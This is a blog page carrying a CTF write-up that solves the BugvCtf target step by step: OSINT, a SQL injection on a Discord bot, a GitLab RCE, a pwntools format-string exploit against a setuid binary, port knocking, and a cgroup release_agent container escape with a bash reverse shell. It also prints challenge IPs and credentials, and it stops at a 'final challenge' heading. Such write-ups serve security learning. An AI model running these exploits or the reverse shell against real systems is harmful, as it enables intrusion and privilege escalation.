1<!DOCTYPE html> 2<html lang="en-US"> 3 <head> 4 5 6 <meta charset="UTF-8"> 7 8 <!-- Begin Jekyll SEO tag v2.8.0 --> 9<title>BugvCtf Writeup | 0xdead-babe.github.io</title> 10<meta name="generator" content="Jekyll v3.9.3" /> 11<meta property="og:title" content="BugvCtf Writeup" /> 12<meta property="og:locale" content="en_US" /> 13<link rel="canonical" href="https://0xdead-babe.github.io/bugvctf.html" /> 14<meta property="og:url" content="https://0xdead-babe.github.io/bugvctf.html" /> 15<meta property="og:site_name" content="0xdead-babe.github.io" /> 16<meta property="og:type" content="website" /> 17<meta name="twitter:card" content="summary" /> 18<meta property="twitter:title" content="BugvCtf Writeup" />
19<script type="application/ld+json"> 20{"@context":"https://schema.org","@type":"WebPage","headline":"BugvCtf Writeup","url":"https://0xdead-babe.github.io/bugvctf.html"}</script>
20 21<!-- End Jekyll SEO tag --> 22 23 <link rel="preconnect" href="https://fonts.gstatic.com"> 24 <link rel="preload" href="https://fonts.googleapis.com/css?family=Open+Sans:400,700&display=swap" as="style" type="text/css" crossorigin> 25 <meta name="viewport" content="width=device-width, initial-scale=1"> 26 <meta name="theme-color" content="#157878"> 27 <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent"> 28 <link rel="stylesheet" href="/assets/css/style.css?v=de3f59910885c02a6daf092dfd71416103dfb6ea"> 29 30
30<script src="https://cdn.jsdelivr.net/npm/[email protected]/darkreader.min.js"></script>
30 31
31<script> 32 DarkReader.enable(); 33 </script>
33 34 35 </head> 36 <body> 37 38 <header class="page-header" role="banner"> 39 <h1 class="project-name">BugvCtf Writeup</h1> 40 <h2 class="project-tagline"></h2> 41 42 43 </header> 44 45 <main id="content" class="main-content" role="main"> 46 <h1 id="bugvctf-writeup">BugvCtf Writeup</h1> 47<p>Being a cyber security enthusiast i was really excited when i heard about the bugv ctf. If i remember correctly Cynical Technology conducted ctf last year too. Though i didnât participate on last yearâs ctf, i was eagerly waiting for this yearâs ctf.</p> 48 49<h1 id="long-story-short">Long Story Short</h1> 50<p>So, Bugv ctf is single program CTF. In simple words, unlike in jeopardy category, we are just given single target and we need to keep pwning until we figureout all the flags.</p> 51 52<h1 id="message-to-readers">Message To Readers</h1> 53<p>I have tried my best to explain the stuff though i am really bad at explaining the stuff. I am more like a demo god. I can show you how things are done but understanding part is left upon you. So ,i have attached some of resources on resource section. Moreover some of the tasks were revisited for Quality writeup(writeup is still shit though). The writeup that i submitted to bugv team slightly differs(Making everything fair) from this one. There were bunch of typos. Making your writeup public with bunch of typos isnât fun(Though i donât care, its going to be painful for readers).</p> 54 55<p>Moreover if your are one of the guy who cares for beautiful, pleasant and elegant looking UI sorry my friend you are going to have a hard time throught this blog. I donât have enough time to setup all things. Shinigami, aka DEAD GOD is roaming around me. (I mean my exams are very near.)</p> 56 57<h1 id="initial-enumeration">Initial Enumeration</h1> 58<p><code class="language-plaintext highlighter-rouge">thawang.live/</code> this was out target. On visiting the page we are presented with the static web page. 59<img src="/images/initial.png" alt="" /></p> 60 61<p>So, this is a static page which is hosted on amazon s3. My initial guess was that we might have to compromise the cloud infracstructure. So, i spent my 2-3 hours just trying to figure out if we can do anything with s3 bucket. I used the <code class="language-plaintext highlighter-rouge">aws cli</code> tool to check if we can access the bucket. However, the bucket was private and my enumeration was useless.</p> 62 63<p>I checked the source code of the site to see if we can get anything.</p> 64 65<p><img src="/images/initial2.png" alt="" /></p> 66 67<p>I donât know if i didnât pay enough attention or this hint was added later, but looks like i was hunting the rabbit hole. Correct path was to do OSINT.</p> 68 69<p>Scrolling the page we can see some of the users listed. Letâs add it to our note. Mightbe useful later.</p> 70 71<p><img src="/images/initial3.png" alt="" /></p> 72 73<p>so the next step was to do OSINT on these users.(Guessed it didnât know what to do)</p> 74 75<p><code class="language-plaintext highlighter-rouge">Ojasini Shrees</code> drew my attention. Since, she is social media influencer, she definitely has to offer something.</p> 76 77<p>I checked if i can find any social media accounts. I checked on facebook if i can find her account. 78Luckly i found. I even found the LInkedin profile of Thawang Shield Security, dexa singh ,Naval Maharjan(Thawang Intern) and Ojasini Shrees. It was useless so i am not mentioning it.</p> 79 80<p><img src="/images/initial4.png" alt="" /></p> 81 82<p>She had updated her cover photo and her caption was a bit suspicious. 83<code class="language-plaintext highlighter-rouge">View is spectacular in binary level.</code> This caption was added later by organizers because a lot of people were asking for hint. 84I always thought facebook removes your metadata, thatâs why i didnât bother too much to use my awsesome steganography skills.(IT SUCKS TO BE HONEST). I was stuck at this moment for hell lot of time. I was banging my head against wall ,cursing organizers but, i donât know if i was ordered from universe, or my sixth sense suddenly activated i decided to download image to examine it. 85Yeah, i downloaded the image and checked if i can find anything. I ran <code class="language-plaintext highlighter-rouge">exiftool</code>. 86Boom, got first flag.(What the heck facebook, why didnât you remove it?)</p> 87 88<p><img src="/images/bugv_1.png" alt="" /></p> 89 90<p>Now we have got the invite link for the discord server.</p> 91 92<h1 id="discord-bot-sqli">DISCORD BOT SQLI</h1> 93 94<p>Bot in discord server allows us to create the secret and and read secret using following command.</p> 95 96<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> $create secret your_secret 97 $get secret 98</code></pre></div></div> 99 100<p>This was the most frustrating challenge. There is no way someone can guess there would be a SQLI in bot.(IT WAS INTERESTING CHALLENGE TBH, DUMB KID LIKE ME CANâT FIGUREOUT SUCH STUFFð.)</p> 101 102<p>I Solved this challenge at last, but i am keeping it here in second. At least source code for the bot should have been provided. 103Itâs really difficult to know whatâs in challenge creatorâs head.</p> 104 105<h3 id="payload-used">Payload used</h3> 106 107<pre><code class="language-SQL">$get XO' OR 1=1 -- - 108</code></pre> 109 110<p><img src="/images/bugv_2.png" alt="" /></p> 111 112<h1 id="gitlab-rce">GITLAB RCE</h1> 113 114<p>Under the resource chanel, we are given a ip address and a github repo. 115So lets quickly clone repo and head over the IP.</p> 116 117<p>So next step was to do nmap scan</p> 118 119<pre><code class="language-SQL">Starting Nmap 7.80 ( https://nmap.org ) at 2021-12-25 12:51 +0545 120Nmap scan report for ec2-18-142-23-79.ap-southeast-1.compute.amazonaws.com (18.142.23.79) 121Host is up (0.073s latency).
122Not shown: 65530 filtered ports 123PORT STATE SERVICE VERSION 12422/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) 1251022/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0) 126| ssh-hostkey: 127| 2048 fa:f3:ef:f5:50:1c:8a:75:68:0c:8e:00:c9:73:ab:55 (RSA) 128| 256 f9:0e:5b:c6:73:7b:e0:3b:e1:c2:1b:6b:b7:9d:b4:1c (ECDSA) 129|_ 256 ed:13:cf:94:04:d6:08:ba:b5:f5:32:99:ec:03:be:ae (ED25519) 1301080/tcp open http nginx 131| http-robots.txt: 53 disallowed entries (15 shown) 132| / /autocomplete/users /search /api /admin /profile 133| /dashboard /projects/new /groups/new /groups/*/edit /users /help 134|_/s/ /snippets/new /snippets/*/edit 135| http-title: Sign in \xC2\xB7 GitLab 136|_Requested resource was http://ec2-18-142-23-79.ap-southeast-1.compute.amazonaws.com:1080/users/sign_in 137|_http-trane-info: Problem with XML parsing of /evox/about 1381194/tcp closed openvpn 13910443/tcp closed unknown 140Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 141 142Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 143Nmap done: 1 IP address (1 host up) scanned in 286.71 seconds 144</code></pre> 145<p>Output of nmap is self explanatory i guess.</p> 146 147<p>Lets head over to the web page and see what it has to offer.</p> 148 149<p><img src="/images/gitlab.png" alt="" /></p> 150 151<p>I quickly registered for the new user and logged in.</p> 152 153<p>If i remember correctly, there has been numerous CVE on gitlab. so it makes senese to check the gitlab version. I navigated to help page and we are presented with beautiful red warning.</p> 154 155<p><img src="/images/warning.png" alt="" /></p> 156 157<p>Quick google shows us that it is vulnerable for RCE. Even liveoverflow has made wonderful video explaining the issue. So i am going to grab the publlicly available exploit.</p> 158 159<p>I modified the exploit and replaced <code class="language-plaintext highlighter-rouge">nc</code> with <code class="language-plaintext highlighter-rouge">netcat</code>. I didnât have public ip so i used VPS. 160I quickly added my public key and logged in using ssh. You donât need VPS, you can use the ovpn file provided to you. Figured out it later.</p> 161 162<p><img src="/images/gitlab_ssh.png" alt="" /></p> 163 164<p><img src="/images/bugv_3.png" alt="" /></p> 165 166<p>So we are finally in as <code class="language-plaintext highlighter-rouge">git</code> user. and we get out third flag. EZ PZ. 167Looking at the home directory i found there was BugvCTf.apk. Same file was in the repo that i cloned earlier. So i thought i had to do something with the apk itself.</p> 168 169<p>So i installed <code class="language-plaintext highlighter-rouge">jadx</code> on my system and opened the apk. I didnât bother to look at the entire code base, instead after decompiling the apk ,i searched for the string <code class="language-plaintext highlighter-rouge">bugvctf</code> in apk, and the 4th flag was found.</p> 170 171<p><img src="/images/bugv_4.png" alt="" /></p> 172 173<p>So we have figured out the fourth flag.if we observe closely there is password for the user kakashi. I quickly checked if we have kakashi user in <code class="language-plaintext highlighter-rouge">/etc/passwd</code> . We do have user kakashi.</p> 174 175<p><img src="/images/kakashi_user.png" alt="" /></p> 176 177<p>so lets check if we can authenticate using this password.</p> 178 179<p><img src="/images/kakashi.png" alt="" /></p> 180 181<p>Successfullt authenticated.</p> 182 183<h1 id="format-string-vulnerability">FORMAT STRING VULNERABILITY</h1> 184 185<p>Looking at the home directory we can see binary named <code class="language-plaintext highlighter-rouge">malicious</code>. It was given setuid permission. So it makes sense to look at it. I was really excited and i thought we might have to reverse malware. So lets grab the binary and check it on ghidra. 186Not a big fan of Ghidra. Sometimes looking at disassembly is easier than looking at decompiled code generated from ghidra. I personally love IDA decompiler. Sadly no enough money to buy IDA Pro(I mean it costs $1000. Piracy rocks though ð).</p> 187 188<p><img src="/images/ghidra.png" alt="" /></p> 189 190<p>Binary is fairly simple and doesnât provide to much of functionality. However one thing drew my attention. Direct user input was being passed to printf and we know it results in format str
190ing vulnerability(No format string specifier was specified).</p> 191 192<p><img src="/images/fmt.png" alt="" /></p> 193 194<p>Moreover there was another function named <code class="language-plaintext highlighter-rouge">binshell</code> which was never invoked and it would spawn a shell.</p> 195 196<p><img src="/images/binshell.png" alt="" /></p> 197 198<p>so our goal is to somehow call the binshell function and get the shell. Before starting the exploitation process lets check what are the protection mechanism in the binary. Our friendly <code class="language-plaintext highlighter-rouge">checksec</code> tool allows us to do so. (I need to add checksec to my path)</p> 199 200<p><img src="/images/checksec.png" alt="" /></p> 201 202<p>Since we have no PIE and Partial RERLO is enabled, our exploitation becomes easy. Because PIE is disabled all the functions in binary will have the same address. Partial RERLO puts the GOT entries before local variables and we canât overflow it. However in our case we have format string vulnerability which allows us to create strong primitives. <code class="language-plaintext highlighter-rouge">Arbitrary read</code> and <code class="language-plaintext highlighter-rouge">Arbitrary Write</code>. So our exploitation plan is to overwrite any of the GOT entry with the address of binshell.</p> 203 204<p><img src="/images/got.png" alt="" /></p> 205 206<p>I am going to overwrite the <code class="language-plaintext highlighter-rouge">exit</code> GOT entry in my exploit.</p> 207 208<p>We can write value on stack using <code class="language-plaintext highlighter-rouge">%n</code> format specifier. However i am not going to do it manually. Let the pwntools handle it properly.</p> 209 210<p>Before moving further letâs calculate the offset.</p> 211 212<p>lets throw bunch of <code class="language-plaintext highlighter-rouge">%p</code>.</p> 213 214<p><img src="/images/format_offset.png" alt="" /></p> 215 216<p>if we observer output carefully , we can see our input being reflected at position 4. So our offset is going to be 4.</p> 217 218<p>There is even a cool way to calculate the offset using pwntools.</p> 219 220<h2 id="lets-automate">Letâs Automate</h2> 221<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span> 222<span class="kn">from</span> <span class="nn">pwnlib.fmtstr</span> <span class="kn">import</span> <span class="n">FmtStr</span> 223<span class="kn">from</span> <span class="nn">time</span> <span class="kn">import</span> <span class="n">sleep</span> 224 225<span class="n">context</span><span class="p">.</span><span class="n">terminal</span><span class="o">=</span><span class="p">[</span><span class="s">'tmux'</span><span class="p">,</span> <span class="s">'new-window'</span><span class="p">]</span> 226<span class="c1">#context.log_level = 'debug' 227</span><span class="n">elf</span> <span class="o">=</span> <span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">'./malicious'</span><span class="p">,</span> <span class="n">checksec</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span> 228 229 230<span class="n">gs</span> <span class="o">=</span> <span class="s">''' 231b main 232'''</span> 233 234<span class="k">def</span> <span class="nf">calculate_offset</span><span class="p">(</span><span class="n">payload</span><span class="p">):</span> 235 236 <span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="n">elf</span><span class="p">.</span><span class="n">path</span><span class="p">)</span> 237 <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"?"</span><span class="p">,</span> <span class="s">"yes"</span><span class="p">)</span> 238 <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span> 239 <span class="n">p</span><span class="p">.</span><span class="n">
239sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span> 240 <span class="n">sleep</span><span class="p">(</span><span class="mf">0.1</span><span class="p">)</span> 241 <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span> 242 <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span> 243 <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span> 244 <span class="n">r</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span> 245 <span class="n">p</span><span class="p">.</span><span class="n">close</span><span class="p">()</span> 246 <span class="k">return</span> <span class="n">r</span> 247 248 249<span class="k">print</span><span class="p">(</span><span class="n">FmtStr</span><span class="p">(</span><span class="n">execute_fmt</span><span class="o">=</span><span class="n">calculate_offset</span><span class="p">).</span><span class="n">offset</span><span class="p">)</span> 250 251</code></pre></div></div> 252 253<p><img src="/images/offset_automate.png" alt="" /></p> 254 255<p>Code sometimes doesnât work.(It works, just gets hung sometimes). Running script couple of times fixs the problem.</p> 256 257<h2 id="exploit-goes-brrr">Exploit goes brrr.</h2> 258 259<pre><code class="language-Python">from pwn import * 260from pwnlib.fmtstr import fmtstr_payload 261 262context.terminal=['tmux', 'new-window'] 263 264elf = context.binary = ELF('./malicious', checksec=False) 265 266 267gs = ''' 268b main 269''' 270 271GOT_EXIT = elf.got['exit'] 272binshell = elf.symbols['binshell'] 273 274#FOR DEBUGGING PROCESS 275def start(): 276 return gdb.attach(elf.path, gdbscript=gs) 277 278 279def get_payload(): 280 #4 is the offset that we calculated earlier 281 payload = fmtstr_payload(4, {GOT_EXIT:binshell}) 282 return payload 283 284p = process(elf.path) 285 286 287log.info("exit_got @" + hex(GOT_EXIT)) 288log.info("bin @" + hex(binshell)) 289 290 291#interacting with the binary 292 293 294p.sendlineafter("?", "yes") 295p.recvline() 296p.sendline(get_payload()) 297 298p.interactive() 299</code></pre> 300 301<p>My exploit was 100% reliable in my local machine however it failed couple of times on remote server. Running it couple of times spawns the root shell.</p> 302 303<p><img src="/images/bugv_5.png" alt="" /></p> 304 305<p>Boom, now we are root got 5th flag and we are given what to hunt down next.</p> 306 307<p>I have skipped some of the stuff(I mean hell lot of stuff). I i start to write everything in detailed form, then writeup is going to be crazy long. Instead i am attaching some of resources(Scroll to bottom of page for resources) where you can go and explore further. If you are completely new to Binary exploitation and all these exploit development stuff then, i highly recommend you to go through LiveOverflowâs playlist. He creates amazing content.</p> 308 309<p>Lets continue our OSINTâ¦..</p> 310 311<h1 id="scripting">SCRIPTING</h1> 312 313<p>In early enumeration, we had discovered the facebook profile of <code class="language-plaintext highlighter-rouge">ojasini shrees</code>. There she had linked(I donât know if linked is going to be correct word) her twitter handle Too. So, lets headover to the twitter handle.</p> 314 315<p><img src="/images/tweet.png" alt="" /></p> 316 317<p>This looks like hex. I grabbed and decoded it, and it produced gibberish output. It looked like some binary data, so i grabbed the first tweet and decoded to know what it was.</p> 318 319<p><img src="/images/png_decode.png" alt="" /></p> 320 321<p>So we can confirm its png image. So out next goal was to grab all those hex and decode it and get the image. There were more than 100 tweets so ,it makes no sense to grab all of them manually. So i signed up for twitter api and grabbed all the tweets at once. If you havenât used twitter api and have no idea what the heck it is, you can always check the resource section.</p> 322 323<p>first lets grab the <code class="language-plaintext highlighter-rouge">Ojasini shrees</code> id so that we can use it with twitter api.</p> 324 325<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-X</span> GET <span class="nt">-s</span> <span class="nt">-H</span> <span class="s1">'Authorization: Bearer YOUR_AUTH_TOKEN'</span> <span class="s2">"https://api.twitter.com/2/users/by/username/ojasini_shrees"</span> 326 327</code></pre></div></div> 328 329<p>Hitting on above endpoint gives following result.</p> 330 331<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w"> 332 </span><span class="nl">"data"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w"> 333 </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="s2">"1439870840212910080"</span><span class="p">,</span><span class="w"> 334 </span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Ojasini Shrees"</span><span class="p">,</span><span class="w"> 335 </span><span class="nl">"username"</span><span class="p">:</span><span class="w"> </span><span class="s2">"ojasini_shrees"</span><span class="w"> 336 </span><span class="p">}</span><span class="w"> 337</span><span class="p">}</span><span class="w"> 338 339</span></code></pre></div></div> 340 341<p>We have her unique id and now we are ready to move ahead.</p> 342 343<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-X</span> GET <span class="nt">-s</span> <span class="nt">-H</span> <span class="s1">'Authorization: Bearer YOUR_AUTH_TOKEN'</span> <span class="s2">"https://api.twitter.com/2/users/1439870840212910080/tweets?max_results=100"</span> | jq 344 345</code></pre></div></div> 346 347<p><img src="/images/tweet_all.png" alt="" /></p> 348 349<p>I filtered all the tweets, decoded the hex and the image was corrupted. After examining i found there were only 95 tweets. Some tweets were missing. We need all 109 tweets to get image.</p> 350 351<p>Twitter api only allows you to get 100 tweets at a time but there were more than 100 tweets, so we have to find a way to grab all the tweets. Scrolling through twitter api documentation i found, it provides pagination support. If we look at JSON output we got earlier , we are provided with <code class="language-plaintext highlighter-rouge">next_token</code>. We have to use pagination inorder to get the remaining tweets.</p> 352 353<p>So lets hit end point again providing the pagination token.</p> 354 355<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-X</span> GET <span class="nt">-s</span> <span class="nt">-H</span> <span class="s1">'Authorization: Bearer YOUR_AUTH_TOKEN'</span> <span class="s2">"https://api.twitter.com/2/users/1439870840212910080/tweets?max_results=100&pagination_token=YOUR_PAGINATION_TOKEN"</span> 356</code></pre></div></div> 357 358<p><img src="/images/pagination.png" alt="" /></p> 359 360<p>so next step was to filter the tweets, decode the hex and send output to a file.</p> 361 362<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat </span>tweets.txt | <span class="nb">grep</span> <span class="nt">-i</span>
362 Tweet | <span class="nb">sort</span> <span class="nt">-V</span> | <span class="nb">awk</span> <span class="s1">'{print $4}'</span> | <span class="nb">tr</span> <span class="nt">-d</span> <span class="s1">'('</span> | <span class="nb">tr</span> <span class="nt">-d</span> <span class="s1">')"'</span> | <span class="nb">tr</span> <span class="nt">-d</span> <span class="s1">'\n'</span> | xxd <span class="nt">-r</span> <span class="nt">-p</span> <span class="o">></span> photo.png 363</code></pre></div></div> 364 365<p>I know there is a better way to achieve this. You can do this in a btter way just using awk. But in CTF every seconds counts and i didnât have time to do the best way. So i picked the tools and trick that i was familar with. <code class="language-plaintext highlighter-rouge">Don't judge by bash skills LOL ð</code>.</p> 366 367<p>This oneliner saved my hours. Now we can view the image.</p> 368 369<p><img src="/images/qrcode.png" alt="" /></p> 370 371<p>Itâs QR Code. You can get its output easily. I am not going to leave my ultimate comfort zone(Yeah that black screen, Terminal), so i am going to install zbarimg(Google it if you donât know how to install zbarimg, this isnât going to be guide about installing zbarimg and decoding QR codes).</p> 372 373<h4 id="zbarimg-goes-brrrrrr">Zbarimg goes brrrrrr.</h4> 374 375<p><img src="/images/bugv_6.png" alt="" /></p> 376 377<p>Boom we got our sixth flag. Now we are given another IP.(Another headache and real pain in ass)</p> 378 379<p>So, lets headover to nmap scan.</p> 380 381<h1 id="docker-container-escape">DOCKER CONTAINER ESCAPE</h1> 382 383<pre><code class="language-SQL">Nmap scan report for ec2-13-251-13-169.ap-southeast-1.compute.amazonaws.com (13.251.13.169) 384Host is up (0.12s latency). 385Not shown: 65506 filtered ports, 28 closed ports 386PORT STATE SERVICE VERSION 3872991/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) 388Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 389 390Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 391Nmap done: 1 IP address (1 host up) scanned in 822.46 second 392</code></pre> 393 394<p>Run nmap with <code class="language-plaintext highlighter-rouge">-p-</code> flag otherwise, you arenât going to get any results.</p> 395 396<p>So we have found ssh is listening on PORT 2991. Seems a bit off.</p> 397 398<p>Before going any further letâs check if it allows password authentication.</p> 399 400<p><img src="/images/password_auth.png" alt="" /> 401No any public key , blah blah error instead prompts for password. So we are good to go.</p> 402 403<p>but we have no credentials (SPOILER ALERT - WE HAVE). If we look at the repo we cloned earlier we have <code class="language-plaintext highlighter-rouge">traffic.pcapng</code> file. I didnât bother to load it on wireshark(Yeah i loaded it on wireshark and scrolled for hours), instead i used the <code class="language-plaintext highlighter-rouge">strings</code> to see if we can get any thing.</p> 404 405<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>strings traffic.pcapng | <span class="nb">grep</span> <span class="nt">-i</span> bugv 406</code></pre></div></div> 407 408<p><img src="/images/bugv_7.png" alt="" /></p> 409 410<p>So we got our 7th flag and we have credentials too. Letâs check if we can authenticate to our new host.</p> 411 412<h4 id="another-message-to-dear-readers">ANOTHER MESSAGE TO DEAR READERS</h4> 413<p>If you are thinking to revisit the CTF tasks looking at writeup, sorry bruh you are out of luck. Password has been changed. I was revisiting some of the tasks and i couldnât authenticate with same password (IT WAS DURING CTF HOURS). I was lucky during my time. I messaged organizer and asked them to check but, it wasnât fixed at all. Looks like organizers might have changed it or some players might have changed it (IF YOU ARE ONE OF THE GUY WHO THINKS BREAKING CTF INFRASTRUCTURE IS COOL AND PLANNING TO GIVE NEXT TALK ON BREAKING CTF INFRASTRUCTURE FOR FUN AND PROFIT THEN, FUCK YOU). I have even seen lots of player executing bash fork bomb to DoS the infrastructure. Please donât do it.</p> 414 415<p><img src="/images/login.png" alt="" /></p> 416 417<p>Looking at the hostname i guessed this has to be somekind of docker escape. I checked if we were in some kind of docker. but we were not(No .dockerenv file bruh). In home directory of escapegod another hint is provided.
417</p> 418 419<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Stick with the things that are running and around you. 420 421</code></pre></div></div> 422 423<p>Moreover I found the docker.conf file. Looks like docker is running with high priviliges.</p> 424 425<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">"capabilities"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w"> 426 </span><span class="nl">"bounding"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w"> 427 </span><span class="s2">"CAP_AUDIT_WRITE"</span><span class="p">,</span><span class="w"> 428 </span><span class="s2">"CAP_KILL"</span><span class="p">,</span><span class="w"> 429 </span><span class="s2">"CAP_NET_BIND_SERVICE"</span><span class="w"> 430 </span><span class="p">],</span><span class="w"> 431 </span><span class="nl">"effective"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w"> 432 </span><span class="s2">"CAP_AUDIT_WRITE"</span><span class="p">,</span><span class="w"> 433 </span><span class="s2">"CAP_KILL"</span><span class="p">,</span><span class="w"> 434 </span><span class="s2">"CAP_NET_BIND_SERVICE"</span><span class="w"> 435 </span><span class="p">],</span><span class="w"> 436 </span><span class="nl">"inheritable"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w"> 437 </span><span class="s2">"CAP_AUDIT_WRITE"</span><span class="p">,</span><span class="w"> 438 </span><span class="s2">"CAP_KILL"</span><span class="p">,</span><span class="w"> 439 </span><span class="s2">"CAP_NET_BIND_SERVICE"</span><span class="w"> 440 </span><span class="p">],</span><span class="w"> 441 </span><span class="nl">"permitted"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w"> 442 </span><span class="s2">"CAP_AUDIT_WRITE"</span><span class="p">,</span><span class="w"> 443 </span><span class="s2">"CAP_KILL"</span><span class="p">,</span><span class="w"> 444 </span><span class="s2">"CAP_NET_BIND_SERVICE"</span><span class="w"> 445 </span><span class="p">],</span><span class="w"> 446 </span><span class="nl">"ambient"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w"> 447 </span><span class="s2">"CAP_AUDIT_WRITE"</span><span class="p">,</span><span class="w"> 448 </span><span class="s2">"CAP_KILL"</span><span class="p">,</span><span class="w"> 449 </span><span class="s2">"CAP_NET_BIND_SERVICE"</span><span class="w"> 450 </span><span class="p">]</span><span class="w"> 451 452 453</span></code></pre></div></div> 454 455<p>So i grabbed the <code class="language-plaintext highlighter-rouge">pspy64s</code> to see what processes were running.</p> 456 457<p><img src="/images/pspy.png" alt="" /></p> 458 459<p>Docker is running, confirmed. Further exploring i found there were some iptables rule defined to reject all connections on these port.(Please refer screenshot.)</p> 460 461<p>Wait, Wait wait, these port number seems to be familiar. Remember the tweet of ojasini.</p> 462 463<p><img src="/images/tweet_knock.png" alt="" /></p> 464 465<p>I donât know why but its giving hint towards the port knocking. so letâs see if we can see knockd conf.</p> 466 467<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> /etc/knockd.conf 468</code></pre></div></div> 469 470<pre><code class="language-SQL">[options] 471 logfile=/var/log/knockd.log 472[openSSH] 473 sequence = 1357,2468,13579 474 seq_timeout = 60 475 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT 476 tcpflags = syn 477 478[openFTP] 479 sequence = 13579,2468,1357 480 seq_timeout = 60 481 command = /sbin/iptables -I INPUT -s %IP% -p tcp --match multiport --dports 20,21 -j ACCEPT 482 tcpflags = syn 483</code></pre> 484 485<p>So knocking on 1357,2468,13579 opens the port 22(itâs SSH man, definitely its something), which is interesting for us.</p> 486 487<p>so lets knock the port</p> 488 489<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>knock <span class="nt">-d</span> 60 13.251.13.169 1357 2468 13579 490</code></pre></div></div> 491 492<p>lets run nmap again to validate</p> 493 494<pre><code class="language-SQL">nmap -Pn -p 22 13.251.13.169 495Starting Nmap 7.80 ( https://nmap.org ) at 2021-12-25 13:56 +0545 496Nmap scan report for ec2-13-251-13-169.ap-southeast-1.compute.amazonaws.com (13.251.13.169) 497Host is up (0.15s latency). 498 499PORT STATE SERVICE 50022/tcp open ssh 501 502Nmap done: 1 IP address (1 host up) scanned in 0.51 seconds 503</code></pre> 504 505<p>Boom, letâs see if we can authenticate using <code class="language-plaintext highlighter-rouge">escapegod:y0un33d23sc4p3</code> credentials.</p> 506 507<p><img src="/images/final_login.png" alt="" /></p> 508 509<p>Looks like we are in container.</p> 510 511<p><img src="/images/container_ssh.png" alt="" /></p> 512 513<p>yup we are. <code class="language-plaintext highlighter-rouge">.dockerenv</code> file confirms.</p> 514 515<p>If we remember correctly we are in <code class="language-plaintext highlighter-rouge">privileged</code> container. so lets escape it. I will copy paste the exploit from internet like shameless script kiddy.(I have attached the resource.)</p> 516 517<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">mkdir</span> /tmp/cgrp <span class="o">&&</span> mount <span class="nt">-t</span> cgroup <span class="nt">-o</span> rdma cgroup /tmp/cgrp <span class="o">&&</span> <span class="nb">mkdir</span> /tmp/cgrp/x 518 519<span class="nb">echo </span>1 <span class="o">></span> /tmp/cgrp/x/notify_on_release 520 521<span class="nv">host_path</span><span class="o">=</span> <span class="sb">`</span><span class="nb">sed</span> <span class="nt">-n</span> <span class="s1">'s/.*\perdir=\([^,]*\).*/\1/p'</span> /etc/mtab<span class="sb">`</span> 522 523<span class="nb">echo</span> <span class="s2">"</span><span class="nv">$host_path</span><span class="s2">/cmd"</span> <span class="o">></span> /tmp/cgrp/release_agent 524 525<span class="nb">echo</span> <span class="s1">'#!/bin/sh'</span> <span class="o">></span> /cmd 526 527<span class="nb">echo</span> <span class="s2">"bash -i >& /dev/tcp/127.0.0.1/7878 0>&1 > </span><span class="nv">$host_path</span><span class="s2">/output"</span> <span class="o">>></span> /cmd 528 529<span class="nb">chmod </span>a+x /cmd 530 531sh <span class="nt">-c</span> <span class="s2">"echo </span><span class="se">\$\$</span><span class="s2"> > /tmp/cgrp/x/cgroup.procs"</span> 532 533</code></pre></div></div> 534 535<p>I wiill be listening for reverse shell outside the container in shell of escapegod user. (escapegod user that we got earlier).</p> 536 537<p><img src="/images/final_shell.png" alt="" /></p> 538 539<p>We have finally got out 8th flag.</p> 540 541<h1 id="final-challenge">
